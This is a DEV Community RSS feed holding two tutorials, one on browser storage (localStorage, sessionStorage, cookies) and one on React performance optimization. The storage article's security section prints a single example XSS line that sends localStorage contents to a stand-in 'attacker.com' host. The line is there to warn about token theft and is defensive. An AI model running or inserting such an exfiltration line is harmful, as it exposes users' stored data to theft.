<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Wandana Maddumage</title>
    <description>The latest articles on DEV Community by Wandana Maddumage (@wandanamaddumage).</description>
    <link>https://dev.to/wandanamaddumage</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1457271%2F5e5636b3-eb1e-48ec-a35f-696fe739901b.png</url>
      <title>DEV Community: Wandana Maddumage</title>
      <link>https://dev.to/wandanamaddumage</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/wandanamaddumage"/>
    <language>en</language>
    <item>
      <title>The Web Developer’s Guide to Browser Storage: LocalStorage, SessionStorage, and Cookies</title>
      <dc:creator>Wandana Maddumage</dc:creator>
      <pubDate>Tue, 02 Jun 2026 03:01:59 +0000</pubDate>
      <link>https://dev.to/wandanamaddumage/the-web-developers-guide-to-browser-storage-localstorage-sessionstorage-and-cookies-hk9</link>
      <guid>https://dev.to/wandanamaddumage/the-web-developers-guide-to-browser-storage-localstorage-sessionstorage-and-cookies-hk9</guid>
      <description>&lt;p&gt;We’ve all been there: You're building a web app, and you need to store a piece of data. Maybe it’s a user’s preferred theme, a half-filled form, or an authentication token. You know it belongs in the browser, but then the inevitable choice hits you:&lt;/p&gt;

&lt;p&gt;Do I drop this in LocalStorage, stash it in SessionStorage, or bake a cookie?&lt;/p&gt;

&lt;p&gt;It’s easy to treat these three as interchangeable buckets of data, but picking the wrong one can lead to broken user experiences, sluggish performance, or worse—gaping security holes.&lt;/p&gt;

&lt;p&gt;Let’s break down how these browser storage mechanisms actually work under the hood, when to use them, and the architectural trade-offs you need to consider.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;1. LocalStorage: The Long-Term Vault&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Think of localStorage as a digital storage unit. Once you put something in there, it stays there until you explicitly go back and delete it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Quick Example: Storing and retrieving a theme preference&lt;/span&gt;
&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;theme&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dark&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;userTheme&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;theme&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The Architecture
&lt;/h2&gt;

&lt;p&gt;Persistence: Practically infinite. Data survives page refreshes, closing tabs, and even completely restarting the browser or the device.&lt;/p&gt;

&lt;p&gt;Capacity: Generous by web standards—usually around 5MB to 10MB depending on the browser.&lt;/p&gt;

&lt;p&gt;Scope: It is strictly bound by the Same-Origin Policy (same protocol, domain, and port). Data stored by &lt;a href="https://mysite.com" rel="noopener noreferrer"&gt;https://mysite.com&lt;/a&gt; cannot be read by &lt;a href="https://othersite.com" rel="noopener noreferrer"&gt;https://othersite.com&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Best Used For
&lt;/h2&gt;

&lt;p&gt;User Interface State: Saving non-sensitive preferences like dark mode vs. light mode or a collapsed/expanded sidebar state.&lt;/p&gt;

&lt;p&gt;Performance Optimization: Caching static, non-sensitive data (like a list of country codes) to reduce API calls on page load.&lt;/p&gt;

&lt;p&gt;Draft Saving: Storing an unsubmitted blog post or comment so the user doesn’t lose their progress if their browser crashes.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;2. SessionStorage: The Temporary Workbench&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;If LocalStorage is a storage unit, SessionStorage is a temporary workbench. It’s incredibly useful while you’re actively working on a specific task, but the moment you walk out of the room, everything is cleared away.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Quick Example: Tracking a multi-step checkout progress&lt;/span&gt;
&lt;span class="nx"&gt;sessionStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;currentStep&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;step-3&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The Architecture
&lt;/h2&gt;

&lt;p&gt;Persistence: Data lasts only for the duration of the page session.&lt;/p&gt;

&lt;p&gt;The "Tab" Rule: SessionStorage is unique to the specific browser tab. If you open &lt;a href="https://mysite.com" rel="noopener noreferrer"&gt;https://mysite.com&lt;/a&gt; in Tab A, and then open the exact same URL in Tab B, they will have completely isolated SessionStorage buckets. Closing the tab wipes that data forever.&lt;/p&gt;

&lt;p&gt;Capacity: Matches LocalStorage, topping out at around 5MB.&lt;/p&gt;

&lt;h2&gt;
  
  
  Best Used For
&lt;/h2&gt;

&lt;p&gt;Multi-Page Wizards: Carrying data across a multi-step checkout or registration form as the user clicks "Next" and "Back."&lt;/p&gt;

&lt;p&gt;Tab-Specific States: Keeping track of temporary filters or search parameters on a dashboard that shouldn’t bleed over if the user opens a second tab to look at something else.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;3. Cookies: The Messenger&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Cookies are the veterans of client-side storage. Unlike LocalStorage and SessionStorage—which exist purely for the client’s use—cookies were explicitly designed to travel back and forth between the browser and the server with every single network request.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Quick Example: Setting a cookie (though typically done via Server headers)&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;user_session=abc123xyz; expires=Fri, 31 Dec 2027 23:59:59 GMT; Secure; HttpOnly&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The Architecture&lt;/strong&gt;&lt;br&gt;
Persistence: Highly customizable. You can set a specific expiration date, or omit it entirely to create a "session cookie" that expires when the browser closes.&lt;/p&gt;

&lt;p&gt;Capacity: Tiny. They max out at about 4KB total per domain.&lt;/p&gt;

&lt;p&gt;The Network Cost: Because cookies automatically hitch a ride on every HTTP request (images, stylesheets, API calls), large or bloated cookies will actively degrade your application's network performance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Best Used For&lt;/strong&gt;&lt;br&gt;
Authentication and Session Management: Telling the server "Hey, I'm logged in as User 123" securely.&lt;/p&gt;

&lt;p&gt;Server-Side Rendering (SSR): Because cookies are sent with the initial document request, frameworks like Next.js or Remix can read them instantly to render personalized pages on the server before sending them to the browser.&lt;/p&gt;
&lt;h2&gt;
  
  
  &lt;strong&gt;Summary at a Glance&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F763tm0r690xam364pxxx.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F763tm0r690xam364pxxx.jpeg" alt=" " width="800" height="437"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  &lt;strong&gt;⚠️ The Architectural Trap: The Security Trade-off&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;There is a golden rule that every front-end and full-stack engineer must memorize: never store sensitive data (like JWTs, passwords, or PII) in LocalStorage or SessionStorage.&lt;/p&gt;

&lt;p&gt;Both of these mechanisms are completely accessible via synchronous JavaScript. If your website falls victim to a Cross-Site Scripting (XSS) attack—where a rogue third-party script or a compromised npm package runs malicious code on your site—an attacker can steal your user's entire data payload with a single line of code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// The line an XSS attacker loves to execute:&lt;/span&gt;
&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://attacker.com/steal?data=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Fix: Secure Cookies&lt;br&gt;
For highly sensitive data like authorization tokens, the industry standard is to use Cookies configured with specific security flags:&lt;/p&gt;

&lt;p&gt;HttpOnly: This flag completely blocks client-side JavaScript from reading or modifying the cookie, neutralizing XSS thefts.&lt;/p&gt;

&lt;p&gt;Secure: Ensures the cookie is only sent over encrypted HTTPS connections.&lt;/p&gt;

&lt;p&gt;SameSite=Strict or SameSite=Lax: Protects your users against Cross-Site Request Forgery (CSRF) attacks.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Final Thoughts&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Choosing the right storage mechanism is all about understanding the lifecycle of your data and who needs access to it.&lt;/p&gt;

&lt;p&gt;If your data is heavy, safe, and needs to stick around, Local Storage is your friend. If it’s temporary and tied to a single task, lean on sessionStorage. If the server needs to know about it securely, use cookies.&lt;/p&gt;

&lt;p&gt;What browser storage challenges have you run into lately? Let's discuss in the comments below!&lt;/p&gt;

</description>
      <category>frontend</category>
      <category>javascript</category>
      <category>tutorial</category>
      <category>webdev</category>
    </item>
    <item>
      <title>How to Increase and Optimize Performance in a React Application</title>
      <dc:creator>Wandana Maddumage</dc:creator>
      <pubDate>Mon, 22 Dec 2025 04:18:01 +0000</pubDate>
      <link>https://dev.to/wandanamaddumage/how-to-increase-and-optimize-performance-in-a-react-application-1d59</link>
      <guid>https://dev.to/wandanamaddumage/how-to-increase-and-optimize-performance-in-a-react-application-1d59</guid>
      <description>&lt;p&gt;Performance optimization is a crucial part of building modern, scalable React applications. A fast, smooth UI boosts user experience and retention, especially as your app grows in size and complexity. This article dives into best practices and strategies to improve the performance of your React applications.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Use React's Built-in Memoization&lt;/strong&gt;&lt;br&gt;
React provides several built-in tools to prevent unnecessary re-renders:&lt;/p&gt;

&lt;p&gt;🔹 &lt;code&gt;React.memo()&lt;/code&gt;&lt;br&gt;
Use this to wrap functional components so that they only re-render when props change.jsx&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const MyComponent = React.memo(({ value }) =&amp;gt; {
  return &amp;lt;div&amp;gt;{value}&amp;lt;/div&amp;gt;;
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🔹 &lt;code&gt;useMemo()&lt;/code&gt; and &lt;code&gt;useCallback()&lt;/code&gt;&lt;br&gt;
Use these to memoize functions and computed values inside your components.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const expensiveValue = useMemo(() =&amp;gt; computeExpensiveValue(data), [data]);
const handleClick = useCallback(() =&amp;gt; doSomething(), []);

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;strong&gt;2. Code Splitting with React.lazy and&amp;nbsp;Suspense&lt;/strong&gt;&lt;br&gt;
Code splitting helps load parts of your app only when needed, reducing initial load time.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const LazyComponent = React.lazy(() =&amp;gt; import('./LazyComponent'));

function App() {
  return (
    &amp;lt;Suspense fallback={&amp;lt;div&amp;gt;Loading...&amp;lt;/div&amp;gt;}&amp;gt;
      &amp;lt;LazyComponent /&amp;gt;
    &amp;lt;/Suspense&amp;gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;strong&gt;3. Bundle Optimization&lt;/strong&gt;&lt;br&gt;
Reduce the final bundle size by:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Removing unused dependencies&lt;/li&gt;
&lt;li&gt;Using tree-shaking&lt;/li&gt;
&lt;li&gt;Importing only what you use from libraries like Lodash or Material-UI
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// Bad
import _ from 'lodash';

// Good
import debounce from 'lodash/debounce';
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Use tools like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Webpack Bundle Analyzer&lt;/li&gt;
&lt;li&gt;Source Map Explorer&lt;/li&gt;
&lt;/ul&gt;



&lt;p&gt;&lt;strong&gt;4. Virtualise Long&amp;nbsp;Lists&lt;/strong&gt;&lt;br&gt;
Rendering long lists can be expensive. Libraries like react-window or react-virtualized render only the visible items.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import { FixedSizeList as List } from 'react-window';

&amp;lt;List
  height={300}
  itemCount={1000}
  itemSize={35}
  width={300}
&amp;gt;
  {({ index, style }) =&amp;gt; &amp;lt;div style={style}&amp;gt;Item {index}&amp;lt;/div&amp;gt;}
&amp;lt;/List&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;strong&gt;5. Avoid Anonymous Functions in&amp;nbsp;JSX&lt;/strong&gt;&lt;br&gt;
Defining functions inline in JSX can cause unnecessary re-renders.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// ❌ Not optimal
&amp;lt;button onClick={() =&amp;gt; doSomething()}&amp;gt;Click me&amp;lt;/button&amp;gt;

// ✅ Better
const handleClick = () =&amp;gt; doSomething();
&amp;lt;button onClick={handleClick}&amp;gt;Click me&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;strong&gt;6. Minimize Re-renders&lt;/strong&gt;&lt;br&gt;
Use tools like:&lt;br&gt;
&lt;code&gt;React.memo()&lt;/code&gt;&lt;br&gt;
&lt;code&gt;shouldComponentUpdate&lt;/code&gt; (class components)&lt;br&gt;
Profiling with React DevTools to identify unnecessary renders&lt;/p&gt;



&lt;ol&gt;
&lt;li&gt;Use the Profiler&amp;nbsp;API
React DevTools has a Profiler tab to visualize rendering performance.&lt;/li&gt;
&lt;li&gt;Find which components render frequently&lt;/li&gt;
&lt;li&gt;Optimize or memoize them&lt;/li&gt;
&lt;li&gt;Remove redundant state or context updates&lt;/li&gt;
&lt;/ol&gt;



&lt;p&gt;&lt;strong&gt;8. Use Server-side Rendering (SSR) or Static Site Generation (SSG)&lt;/strong&gt;&lt;br&gt;
Frameworks like Next.js provide SSR and SSG capabilities to improve time-to-first-byte and SEO.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// pages/index.tsx in Next.js
export async function getStaticProps() {
  const data = await fetchData();
  return { props: { data } };
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;strong&gt;9. Use Efficient State Management&lt;/strong&gt;&lt;br&gt;
Large global state trees can cause performance issues.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use React Context wisely (avoid passing large data)&lt;/li&gt;
&lt;li&gt;Use lightweight state libraries like Zustand, Jotai, or Recoil&lt;/li&gt;
&lt;li&gt;For large apps, consider Redux Toolkit with createSlice for optimized patterns&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;10. Lazy Load Images and Components&lt;/strong&gt;&lt;br&gt;
Use libraries like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;react-lazyload&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Native &lt;code&gt;loading="lazy"&lt;/code&gt; for images
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;img src="/image.jpg" loading="lazy" alt="example" /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;Conclusion&lt;br&gt;
Optimizing a React application is about balancing performance, maintainability, and scalability. Start by profiling your app, identifying bottlenecks, and applying these techniques selectively. With thoughtful optimization, your React app can remain snappy and delightful even as it grows.&lt;/p&gt;

</description>
      <category>react</category>
      <category>javascript</category>
      <category>performance</category>
      <category>tutorial</category>
    </item>
  </channel>
</rss>
